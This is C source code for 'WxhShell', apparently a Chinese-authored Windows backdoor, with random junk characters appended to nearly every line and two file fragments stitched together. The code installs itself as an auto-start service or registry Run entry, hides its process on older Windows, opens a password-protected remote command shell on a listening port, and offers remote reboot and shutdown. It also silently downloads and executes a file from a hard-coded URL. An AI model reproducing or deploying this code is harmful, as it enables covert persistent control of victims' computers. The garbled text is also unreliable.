ULONG InheritedFromUniqueProcessId; 9Bw5 t@
} PROCESS_BASIC_INFORMATION; 1/J*ki+?
. L%@/(r
PROCNTQSIP NtQueryInformationProcess; ,.F+x}
t ?'/KL
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S|w] Q
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7)wq9];w
y~1php>2f1
HANDLE hProcess; M<pgaB0
PROCESS_BASIC_INFORMATION pbi;
&g>+tkC
hG3Lj7)UH
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F4gc_>{|
if(NULL == hInst ) return 0; Vo8"/]_h
hKeh9 Bt
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <u/({SZ&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Md{f,,E'^@
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tJ=zk3BN~
M)Q+_c2*
if (!NtQueryInformationProcess) return 0; g<3>7&^
9DKB+K.1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >;?97'M
if(!hProcess) return 0; <2A'
7^X_tQf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >(a_9l;q
Xq^{P2\w1
CloseHandle(hProcess); "
N4]e/.V
niBpbsO
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); L]")TQ
if(hProcess==NULL) return 0; 4`]1W,t
1_]l|`Po
HMODULE hMod; e|y~q0Q$
char procName[255]; w Vmy`OV/
unsigned long cbNeeded; nzDY!Y
mn` Ae=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Ux;dekz}
:gv#_[k
CloseHandle(hProcess); 8G<.5!f7`N
nJC}wh2d#
if(strstr(procName,"services")) return 1; // 以服务启动 b7mP~]V
&T}e93]
return 0; // 注册表启动 }$U6lh/Ep
} ]h@:Y]
OSU=O
// 主模块
Q)&Ztw<
int StartWxhshell(LPSTR lpCmdLine) x|5/#H
{ YgDasKFm'
SOCKET wsl; yRDLg
c
BOOL val=TRUE; p(%x&*)f
int port=0; K)OlCpHc
struct sockaddr_in door; na)ceN2h
>O=V1
if(wscfg.ws_autoins) Install(); :{2$X|f
3
=QRZ(2Wq
port=atoi(lpCmdLine); ,55`s#;
v>R.ou(
if(port<=0) port=wscfg.ws_port; :8g \B{
oY:>pxSz<@
WSADATA data; [Ma9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]W,g>91m
m\=u/Zip
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; gE~31:a^
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Jz>e}*)
door.sin_family = AF_INET;
XMdYted
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6D<A@DR9J
door.sin_port = htons(port); !$HWUxM;p
jL<.?HE
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X(9Ff=0.~
closesocket(wsl); KNhH4K2iP8
return 1; DGnswN%n1
} lLv0lf
{[+gM?
if(listen(wsl,2) == INVALID_SOCKET) { OoNAW<
closesocket(wsl); H Vy^^$
return 1; xAflcY>Ozs
} 'I2)-=ZL6
Wxhshell(wsl); IcZ 'KV
WSACleanup(); NR5A"_'
[(mq8Nb
return 0; $n W>]S\|
A
3l1$t#w
} g@L4G?hLn
Bv3v;^
// 以NT服务方式启动 "7DPsPs
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [B[ J%?NS
{ PZ s
DWORD status = 0; Z:Wix|,ONS
DWORD specificError = 0xfffffff; TH-^tw
qCMcN<:>
serviceStatus.dwServiceType = SERVICE_WIN32; dGg+[?
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s0u$DM2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gqhW.e}]
serviceStatus.dwWin32ExitCode = 0; +Muyp]_
serviceStatus.dwServiceSpecificExitCode = 0; ;&!l2 UB%
serviceStatus.dwCheckPoint = 0; =@'"\
"Nh
serviceStatus.dwWaitHint = 0; G+}LLm.wX
=[,adB
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jn[a23;G)
if (hServiceStatusHandle==0) return; iX28+weH
':=C2x1d|
status = GetLastError(); t65!2G"<
if (status!=NO_ERROR) \ gN) GR
{ |w5#a_adM
serviceStatus.dwCurrentState = SERVICE_STOPPED; <}=D ?bXw
serviceStatus.dwCheckPoint = 0; $lQi0*s
serviceStatus.dwWaitHint = 0; /D q]=P
serviceStatus.dwWin32ExitCode = status;
>Pu*MD;
serviceStatus.dwServiceSpecificExitCode = specificError; (bw;zNW
SetServiceStatus(hServiceStatusHandle, &serviceStatus); P|?z1JUd
return; >Et?7@
} U6Qeode
{2nXItso
serviceStatus.dwCurrentState = SERVICE_RUNNING; :A$6Y*s\
serviceStatus.dwCheckPoint = 0; 8Xr3q eh+
serviceStatus.dwWaitHint = 0; 3O.-'U1K
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I'gnw~
} ]1K
&U5p
-}(W=r\
// 处理NT服务事件,比如:启动、停止 La!PGZ{
VOID WINAPI NTServiceHandler(DWORD fdwControl) &+
IXDU
{ /X?Nv^Hy
switch(fdwControl) 8|l
Yf%n>j
{ h\5
7t@A
case SERVICE_CONTROL_STOP: \@xnC$dd/
serviceStatus.dwWin32ExitCode = 0; W)l&4#__(
serviceStatus.dwCurrentState = SERVICE_STOPPED; >iCMjT]4
serviceStatus.dwCheckPoint = 0; _I9TG.AA.
serviceStatus.dwWaitHint = 0; GHkSU;})
{ p#&6Ed*V
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'D4NPG`z
} sw&Qks?V
return; v6GWD}HH,
case SERVICE_CONTROL_PAUSE: u32<=Q[
serviceStatus.dwCurrentState = SERVICE_PAUSED; zb<+x(0y"
break; &$=F$
case SERVICE_CONTROL_CONTINUE: kK(633s
serviceStatus.dwCurrentState = SERVICE_RUNNING; B}Qo8i7
z
break; \8pbPo=x
case SERVICE_CONTROL_INTERROGATE: g/E;OcFaO
break; >eXNw}_j
}; |LQmdgVr$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9.R_=
}
`>*P(yIN
M_e!s}F
// 标准应用程序主函数 pxN'E;P-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P$Dr6;
{ qHj4`&
Ut%ie=c
// 获取操作系统版本 WRgz]=W3w
OsIsNt=GetOsVer(); _w26iCnB{
GetModuleFileName(NULL,ExeFile,MAX_PATH); _k}b
("aYjKk
// 从命令行安装 * n[6H
if(strpbrk(lpCmdLine,"iI")) Install(); =:b/z1-v
#: F)A_Y
// 下载执行文件 3lJK[V{'#'
if(wscfg.ws_downexe) { aV ^2
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6QV/8IX
WinExec(wscfg.ws_filenam,SW_HIDE); B<)(7GTv7"
} 8dpVB#]pp,
-&&mkK
B!
if(!OsIsNt) { P)H%dJ^l
// 如果时win9x,隐藏进程并且设置为注册表启动 TQ BL!w
HideProc(); Pa.!:N-
StartWxhshell(lpCmdLine); ^'h~#7s
} >3ODqRu
else 7}*5Mir p
if(StartFromService()) ILQg@Jl
// 以服务方式启动 n"pADTaB
StartServiceCtrlDispatcher(DispatchTable); +,%x&L&I
else
[W;14BD7
// 普通方式启动 eI[z%j[Y*
StartWxhshell(lpCmdLine); NZ_45/(dx
4M:oa#gh@
return 0; a}fW3+>
} <sTaXaq?
T4UY%E!0
Y}Ov`ZM!r
&8 (2U-
=========================================== N5s_o0K4TU
G6
GXC`^+
c" l~=1Dr
rUyT5Vf
)yK!EK\
Wc)^@f[~<
" Uq&|iB#mF
n;MoMGnPh,
#include <stdio.h> a5)+5
#include <string.h> 2q#$?qs_b
#include <windows.h> Ft]sTA+C
#include <winsock2.h> %jkd}D
#include <winsvc.h> | zA ey\
#include <urlmon.h> FPqgncBHK
$UH_)Q2#J^
#pragma comment (lib, "Ws2_32.lib") T.xW|Iwx
#pragma comment (lib, "urlmon.lib") CzK
X}
rF5<x3
#define MAX_USER 100 // 最大客户端连接数 UeVF@rw
#define BUF_SOCK 200 // sock buffer 6"wY;E
#define KEY_BUFF 255 // 输入 buffer 0}ZuF.
41:Z8YL(
#define REBOOT 0 // 重启 8-m"] o3
#define SHUTDOWN 1 // 关机 eBP
N[V
o(a*Fk$
#define DEF_PORT 5000 // 监听端口 qaUHcdH
&38Fj'l
#define REG_LEN 16 // 注册表键长度 lmod8B
#define SVC_LEN 80 // NT服务名长度 3:C *'@
MXhS\vF#m
// 从dll定义API 9|go`^*.
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /E*P0y~KTW
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )~Q$ tM`
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s^AYPmR6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,7'l$-r l
xNx!2MrR;
// wxhshell配置信息 *BF1Sso
struct WSCFG { 2^juLXc|R
int ws_port; // 监听端口 zgO?%O
char ws_passstr[REG_LEN]; // 口令 ]s u\[?l
int ws_autoins; // 安装标记, 1=yes 0=no ^awl-CG
char ws_regname[REG_LEN]; // 注册表键名 f5O*Njl
char ws_svcname[REG_LEN]; // 服务名 0!^{V:DtQ
char ws_svcdisp[SVC_LEN]; // 服务显示名 20J:_+=]
char ws_svcdesc[SVC_LEN]; // 服务描述信息 "\BLi C
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -j(/5.a
int ws_downexe; // 下载执行标记, 1=yes 0=no aWit^dp
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h;B'#$_
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O[N{&\$
s*VZLKO
}; tkd2AMkh!
h+vKai
// default Wxhshell configuration dCc*<S
struct WSCFG wscfg={DEF_PORT,
:&Ul
"xuhuanlingzhe", ';
qT
1, Hv%a\WNS1
"Wxhshell", & MAIm56~
"Wxhshell", <=0_[M
"WxhShell Service", ?1[go+56X
"Wrsky Windows CmdShell Service", Wy|=F~N
"Please Input Your Password: ", rm2TWM|
1, KLoHjBq
"http://www.wrsky.com/wxhshell.exe", BtjsN22
"Wxhshell.exe" *:_.cbo
}; ]-0
&[@I4@
[H"Ods~_`
// 消息定义模块 79i>@u%
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SQEXC*08
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q.5a"(d@
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ov|s5yH8e
char *msg_ws_ext="\n\rExit."; VJwzYl
char *msg_ws_end="\n\rQuit."; `]fY9ZDKs
char *msg_ws_boot="\n\rReboot..."; wK,tq
char *msg_ws_poff="\n\rShutdown..."; h5Z%|J>;0
char *msg_ws_down="\n\rSave to "; (g
YAO.Cc z
char *msg_ws_err="\n\rErr!"; ((H}d?^AJ
char *msg_ws_ok="\n\rOK!"; )EO$JwQ
4YdmG.CU
char ExeFile[MAX_PATH]; /423!g0Q
int nUser = 0; :CV&WP
HANDLE handles[MAX_USER]; u|Db%)[
int OsIsNt; >0f5Mjug
n0EKNMO
SERVICE_STATUS serviceStatus; -]N/P{=L
SERVICE_STATUS_HANDLE hServiceStatusHandle; $biCm$a
vuD tEz
// 函数声明 rR."_Z2
int Install(void); >SccoI
int Uninstall(void); VNPuO U=
int DownloadFile(char *sURL, SOCKET wsh); d/|@"z^?
int Boot(int flag); ]
Li(E:
void HideProc(void); N<?RN;M
int GetOsVer(void); ty(F;M(
int Wxhshell(SOCKET wsl); br0gB3r
void TalkWithClient(void *cs); _7 n+j
int CmdShell(SOCKET sock); >WDb89kC=
int StartFromService(void); q~a6ES_lA
int StartWxhshell(LPSTR lpCmdLine); &ts!D!Hj
S c@g;+#QU
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}<XeZ?;
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }n8,Ga%
`m3C\\9;
// 数据结构和表定义 -N9U lW2S
SERVICE_TABLE_ENTRY DispatchTable[] = lPx4I
{ 2&P'rmFm
{wscfg.ws_svcname, NTServiceMain}, fLPB *y6
{NULL, NULL} 3:S
Ex;d+
}; V}3.K\7
=7Nm=5@
// 自我安装 P
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int Install(void) +8v!vuO'
{ j_Dx4*vg
char svExeFile[MAX_PATH]; (2<0kqj%
HKEY key; =:5yRP
strcpy(svExeFile,ExeFile); U+nwLxe'
i9+V<'h
// 如果是win9x系统,修改注册表设为自启动 W4T>@b.
if(!OsIsNt) { (3 B;
V
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]W]Vkkg]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sgFpZk
RegCloseKey(key); N=-hXgX^
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 17J|g.]m-&
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0hCJovSG%
RegCloseKey(key); `y
m^0x8
return 0; o
D^],
} ba|~B8rII[
} _G[5S-0 [
} ck-wMd
else { O'o`
QIGMP=!j
// 如果是NT以上系统,安装为系统服务 z]~B@9l
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YpXUYNy
if (schSCManager!=0) w0VJt<e*
{ o9>r
-
SC_HANDLE schService = CreateService T*O!r`.Ak
( IL`5RZi1
schSCManager, |f.=Y~aY
wscfg.ws_svcname, CShVJ:u+K\
wscfg.ws_svcdisp, R)ejIKtY
SERVICE_ALL_ACCESS, par
$0z/
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 91`biVZfA
SERVICE_AUTO_START, G+=&\+{#4
SERVICE_ERROR_NORMAL, 8la.N*
svExeFile, F5:4 B]ZF
NULL, iC$~v#2
NULL, V/<dHOfR\
NULL, j[9xF<I
NULL, IZniRd;
NULL OP%h`
); if
r!ha+8!
if (schService!=0) $0NWX
{ {WT"\Xj>B?
CloseServiceHandle(schService); }G_ i+
CloseServiceHandle(schSCManager); -N~*h
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PUF"^9v
strcat(svExeFile,wscfg.ws_svcname); G23Mr9m5O
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (\>_{"*=
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j=M_>
RegCloseKey(key); ct fKxGH
return 0; DSD#',
} \snbU'lfP
} >O |hN `
CloseServiceHandle(schSCManager); {PWz:\oaD
} kjJ\7x6M
} rN8 ZQiJC
'9]%#^[Q
return 1; wlmi&kq
} 4f'WF5S/}8
\^w=T*
// 自我卸载 +7^{T:^ht
int Uninstall(void) .0r5=
{ L*Xn!d%
HKEY key; m},nKsO
wnN@aO6g*
if(!OsIsNt) { 9c4 6|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1DN,
RegDeleteValue(key,wscfg.ws_regname); qdjRw#LS^q
RegCloseKey(key); m>jX4D7KZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {.DI[@.g
RegDeleteValue(key,wscfg.ws_regname); t-3wjS1v
RegCloseKey(key); ?9
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return 0; Y+F$]!hw
} GL9R
5
} (+q?xwl!N
} o#4Wn'E
else { VEd\*
i=#r JK=
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u,*$n'l]
if (schSCManager!=0) \/. Of]YQ
{ 4cTJ$" v
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0`3ey*
if (schService!=0) &W)ks
{ J<V}g v
if(DeleteService(schService)!=0) { 76
#
CloseServiceHandle(schService); w[n|Sauy,
CloseServiceHandle(schSCManager); 3T|:1Nw
return 0; gjk=`lU
} rbqH9 S
CloseServiceHandle(schService); 8~Rja
}
=3^YKI
CloseServiceHandle(schSCManager); 3-FS} {,
} Xb&r|pR
} qd%5[A
P)tX U
return 1; U"<Z^)
} Bz }Kdyur
hSQP
'6
// 从指定url下载文件 |^^;v|
int DownloadFile(char *sURL, SOCKET wsh) u%JM0180
{ )jn|+M
HRESULT hr; v'2EYTVNJD
char seps[]= "/"; HEhdV5B
char *token; NGd|7S[^+c
char *file; P>0j]?RB
char myURL[MAX_PATH]; -!I.:97 N
char myFILE[MAX_PATH]; GKZn|<Y|{c
axxdW)+K
strcpy(myURL,sURL); @$F(({?
token=strtok(myURL,seps); acRPKTs
H
while(token!=NULL) jgs kK
{ ]j}zN2[A
file=token; iePpJ>(
token=strtok(NULL,seps); eWhv X9
<
} {Ejv8UdA9
Z8}Zhe.
GetCurrentDirectory(MAX_PATH,myFILE);
ACU0
strcat(myFILE, "\\"); `Btdp:j8i
strcat(myFILE, file); ^>72<1U%
send(wsh,myFILE,strlen(myFILE),0); m32OE`s
send(wsh,"...",3,0); C;OU2,c,T
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tv,^ Q}
if(hr==S_OK) +wY3E*hU
return 0; )Mi#{5z
else T=ox;r
return 1; +7|Oy3s
BO#fzq%
} fp:j~a>E
'_4u,
\SG
// 系统电源模块 !,V8?3.aJn
int Boot(int flag) `i9WnPRt
{ 2Qc&6-;`
HANDLE hToken; SrN0f0
TOKEN_PRIVILEGES tkp; ad&Mk^p
oB&s